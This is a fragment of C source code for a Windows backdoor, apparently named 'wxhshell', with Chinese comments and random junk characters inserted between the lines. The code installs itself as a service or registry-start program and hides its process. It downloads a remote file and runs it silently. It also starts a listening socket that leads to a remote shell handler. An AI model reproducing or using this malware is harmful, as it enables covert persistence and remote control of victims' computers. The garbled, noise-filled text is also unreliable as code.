aDvO(C hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {)9HS~e T if(hProcess==NULL) return 0; mW0&uSMD ^1yTL5#:Vw HMODULE hMod; 4m[C-NB!g char procName[255]; AYu'ptDNr unsigned long cbNeeded; Mth`s{sATa qs1.@l(" if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )/T$H| JKi@Kw CloseHandle(hProcess); ^'53]b: K(KP3Q if(strstr(procName,"services")) return 1; // 以服务启动 [Ro0eH /Q>{YsRRB return 0; // 注册表启动 <bXWkj } {e[pSD6 ;E? hz // 主模块 Vt)\[Tl~ int StartWxhshell(LPSTR lpCmdLine) `NWgETf^# { HZ<f( SOCKET wsl; 9eN2)a/ BOOL val=TRUE; :;*#Qh3" int port=0; kPX2e h struct sockaddr_in door; pM'IQ3N 5v>{Z0TE[6 if(wscfg.ws_autoins) Install(); qwNKRqT G9y12HV port=atoi(lpCmdLine); dMs39j {F6dSF` if(port<=0) port=wscfg.ws_port; :n>ccZeMv )\D40,p WSADATA data; "kBqY+:Cn if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _QMHPRELk _?]BVw if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; fByh";<`P setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l88a#zUQDN door.sin_family = AF_INET; kGuk
-P door.sin_addr.s_addr = inet_addr("127.0.0.1"); $sL|'ZMbS door.sin_port = htons(port); q>|[JJ*6_N &A9A#It if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZOrTbik closesocket(wsl); @U
/3iDB\ return 1; 3+8" }
kulQR>u ZYA.1VrM if(listen(wsl,2) == INVALID_SOCKET) { 7=p-A_X closesocket(wsl); 'D0X?2 return 1; M$]O=2h+2 } Neo^C_[vN Wxhshell(wsl); KIAe36.~ WSACleanup(); x#j\"$dla Msa6yD# return 0; 4j/ iG\ !G"9xrr1 } bhqq ~
S?-{X+ // 以NT服务方式启动 h\u0{!@} VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q+!0)pG5# { Oa\ `; DWORD status = 0; rTsbP40 DWORD specificError = 0xfffffff; Zu0;/_rN 5e/qgI)M5 serviceStatus.dwServiceType = SERVICE_WIN32; l@tyg7CwY serviceStatus.dwCurrentState = SERVICE_START_PENDING; MCi` TXr serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^0s\/qyqm serviceStatus.dwWin32ExitCode = 0; 3?*M{Y| serviceStatus.dwServiceSpecificExitCode = 0; d(DX(xg serviceStatus.dwCheckPoint = 0; )p!*c, serviceStatus.dwWaitHint = 0; Nr]8P/[~ )pZekh]v hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); te\h?H if (hServiceStatusHandle==0) return; 7dlKdKH N7~)qqb status = GetLastError(); sR>`QIi(a if (status!=NO_ERROR) m,@1LwBH { F[7Kw"~J serviceStatus.dwCurrentState = SERVICE_STOPPED; d@D;'2}Yc serviceStatus.dwCheckPoint = 0; ?9(o*lp serviceStatus.dwWaitHint = 0; ;X$q#qzN# serviceStatus.dwWin32ExitCode = status; o/dMm:TF serviceStatus.dwServiceSpecificExitCode = specificError; W) 33;E/} SetServiceStatus(hServiceStatusHandle, &serviceStatus); K{zCp6 return; `dgM|.w5= } !O F?xW :PFx& serviceStatus.dwCurrentState = SERVICE_RUNNING; %l8*t$8 serviceStatus.dwCheckPoint = 0; S7UZGGjTk serviceStatus.dwWaitHint = 0; ib(>vp$V if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); SvX=isu!. } UBhciZ B|Fl,55 // 处理NT服务事件,比如:启动、停止 uO
?Od VOID WINAPI NTServiceHandler(DWORD fdwControl) ]<8B-D?Z { 8NaL{j1` switch(fdwControl) @ kJ0K { w*<Y$hnBzF case SERVICE_CONTROL_STOP: [:nx);\ serviceStatus.dwWin32ExitCode = 0; >k&8el6h serviceStatus.dwCurrentState = SERVICE_STOPPED; ^zaKO'KcV serviceStatus.dwCheckPoint = 0; |-(IJG#) serviceStatus.dwWaitHint = 0; jJ*@5?A { XdGpW SetServiceStatus(hServiceStatusHandle, &serviceStatus); J7'f@X~nM } pK6e/eC return; m feMmKFu\ case SERVICE_CONTROL_PAUSE: HBh` 2Q serviceStatus.dwCurrentState = SERVICE_PAUSED; ggm2%|?X break; *3_f&Y case SERVICE_CONTROL_CONTINUE: e}'#Xv serviceStatus.dwCurrentState = SERVICE_RUNNING; ^])e[RN7?n break; cS D._"P case SERVICE_CONTROL_INTERROGATE: ocIt@#20K break; #cj\~T.,, }; YH)Opk SetServiceStatus(hServiceStatusHandle, &serviceStatus); O;X(pE/G } 9TVB<}0G SUH mBo"} // 标准应用程序主函数 o~v_PD[S int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :W.jNV{e\F { ]a$Wxvgq Dd!Sr8L[ // 获取操作系统版本 ex`
xkZ+ OsIsNt=GetOsVer(); f{y] GetModuleFileName(NULL,ExeFile,MAX_PATH); /OQK/
t63 :vc[/< // 从命令行安装 <i_>
y~v` if(strpbrk(lpCmdLine,"iI")) Install(); x],8yR)R O!+nF]V4f // 下载执行文件 L@{!r=%_> if(wscfg.ws_downexe) { )p$\gwr=2 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M11"<3]D WinExec(wscfg.ws_filenam,SW_HIDE); X5uS>V%/ } ] vC=.&] 1Yc%0L( if(!OsIsNt) { ds*m6#1b // 如果时win9x,隐藏进程并且设置为注册表启动 O^.%C`* HideProc(); Xh.+pJl,* StartWxhshell(lpCmdLine); $uEJn&n7} } Xw7{R else PUbaS{J7 if(StartFromService()) ^ckj3Y#; // 以服务方式启动 Yv)Bj StartServiceCtrlDispatcher(DispatchTable); yWj9EHQU[ else 5/& 1Oxo // 普通方式启动 T)WZ_bR StartWxhshell(lpCmdLine); Y%<`;wK=^ \*f;!{P{ return 0; #*!+b }
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